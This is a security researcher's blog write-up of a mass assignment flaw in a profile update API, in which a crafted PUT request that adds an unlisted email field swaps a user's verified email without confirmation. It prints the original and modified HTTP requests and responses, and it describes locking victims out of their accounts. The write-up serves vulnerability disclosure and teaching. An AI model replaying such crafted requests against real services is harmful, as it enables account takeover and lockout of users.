Post cover image
credit: gemini

June 14, 2026

From Profile Update to Account Takeover: A Mass Assignment Story

Hey Hackers, I am Parth Narula. A penetration tester, bug hunter, red teamer and overall a security researcher. I live for those moments…

Parth Narula

3 min read

Hey Hackers, I am Parth Narula. A penetration tester, bug hunter, red teamer and overall a security researcher. I live for those moments where a bit of out-of-the-box thinking cracks open a critical vulnerability.

A simple profile update endpoint exposed a mass assignment flaw that allowed changing any user's email address without verification, turning a routine booking flow into a full account takeover chain.

I started by navigating to the profile page "My Profile" From the UI perspective, everything looked completely normal. Update your first & last name, address, phone number. Simple and expected behavior :)

But as always, the UI tells one story. The API sometimes tells another.

None

When I clicked the Save button after updating my profile, I intercepted the request in Burp Suite. The request was a standard PUT to /api/users/profile

None 
PUT /api/users/profile HTTP/1.1
Host: REDACTED
Authorization: 5fd24c4...REDACTED...087454
Content-Type: application/json

{
  "about": {
    "givenName": "parth",
    "familyName": "narula",
    "gender": "man",
    "dob": "1999-12-12T00:00:00.000Z"
  },
  "contact": {
    "streetAddress": "zimbave, atlantics, 23-B",
    "postalCode": "12005",
    "locality": "london",
    "mobile": "REDACTED",
    "phone": "REDACTED"
  }
}

Nothing unusual here. Just updating my profile details.

None None

However, when I carefully inspected the response, something immediately caught my attention.

The API returned a 201 Created response with the full updated user object including fields I hadn't even touched.

HTTP/2 201 Created
Content-Type: application/json; charset=utf-8

{
  "about": {
    "name": "parth narula",
    "recentPlaces": [57501],
    "givenName": "parth",
    "familyName": "narula",
    "loginMethods": ["google"],
    "signUpDate": "2024-07-30T03:20:40.2216640+00:00",
    "isUpClient": true,
    "accountProtected": false,
    "gender": "man",
    "dob": "1999-12-12T00:00:00.000Z"
  },
  "id": 7580451,
  "emailHash": "1f5b6da2b129f1e62cda69549ff034663afe49f1e398ec20207b380a4b677da2",
  "contact": {
    "email": "parthnarulatech@gmail.com",
    "confirmed": true,
    "phone": "REDACTED",
    "mobile": "REDACTED",
    ...
  }
}
None

At first glance, this looked like a standard profile update. But I noticed something critical, the email field was being returned in the response, and more importantly, it was part of the same contact object that I was allowed to modify.

I thought, what if I can directly modify the email parameter in the request body?

None

So I crafted a new PUT request, but this time I injected an email field directly into the contact object:

PUT /api/users/profile HTTP/1.1
Host: REDACTED
Authorization: 5fd24c4...REDACTED...087454
Content-Type: application/json

{
  "about": {
    "givenName": "parth",
    "familyName": "narula",
    "gender": "man",
    "dob": "1999-12-12T00:00:00.000Z"
  },
  "contact": {
    "streetAddress": "zimbave, atlantics, 23-B",
    "postalCode": "12005",
    "locality": "london",
    "email": "scriptjacker@gmail.com",
    "mobile": "REDACTED",
    "phone": "REDACTED"
  }
}
None

That was the turning point.

The API accepted the request and returned a 201 Created response. But here's what changed. The email in the response was now scriptjacker@gmail.com, and confirmed was still set to true.

No email verification. No OTP. No confirmation link. Just a single parameter change and the account email was fully swapped and the worse thing that email change was not allowed and disabled.

None

To confirm this wasn't just a UI reflection issue, I refreshed the profile page. The email field now displayed scriptjacker@gmail.com instead of my old email.

This confirmed that the PUT /api/users/profile endpoint was vulnerable to Mass Assignment. The server was accepting and processing any field I sent in the request body, including the email field, without validating whether the user was authorized to change it or whether the new email required verification.

So, I was able to change the email to already existing account and it creates error in their account and the victim got permanently lockout from their account and even after password reset they will not be to login.

Lessons Learned

  • If an API accepts profile update requests, always test for mass assignment by injecting fields that shouldn't be modifiable.
  • Never assume server-side validation exists just because the UI restricts certain fields. The API is what matters.
  • Always assume workflow pieces can be chained in unexpected ways. Profile update plus booking confirmation plus HTML injection is a dangerous combo if misconnected.
  • Test email change flows end to end. The UI might say "verification required," but the API might behave very differently

I hope you learn something new. Follow for more amazing articles and give claps if you like this one :)

Need expert pentesting services? visit https://scriptjacker.in or let's collaborate on your next project! 🤝

Want to learn from my experiences? Check out my articles on https://blogs.scriptjacker.in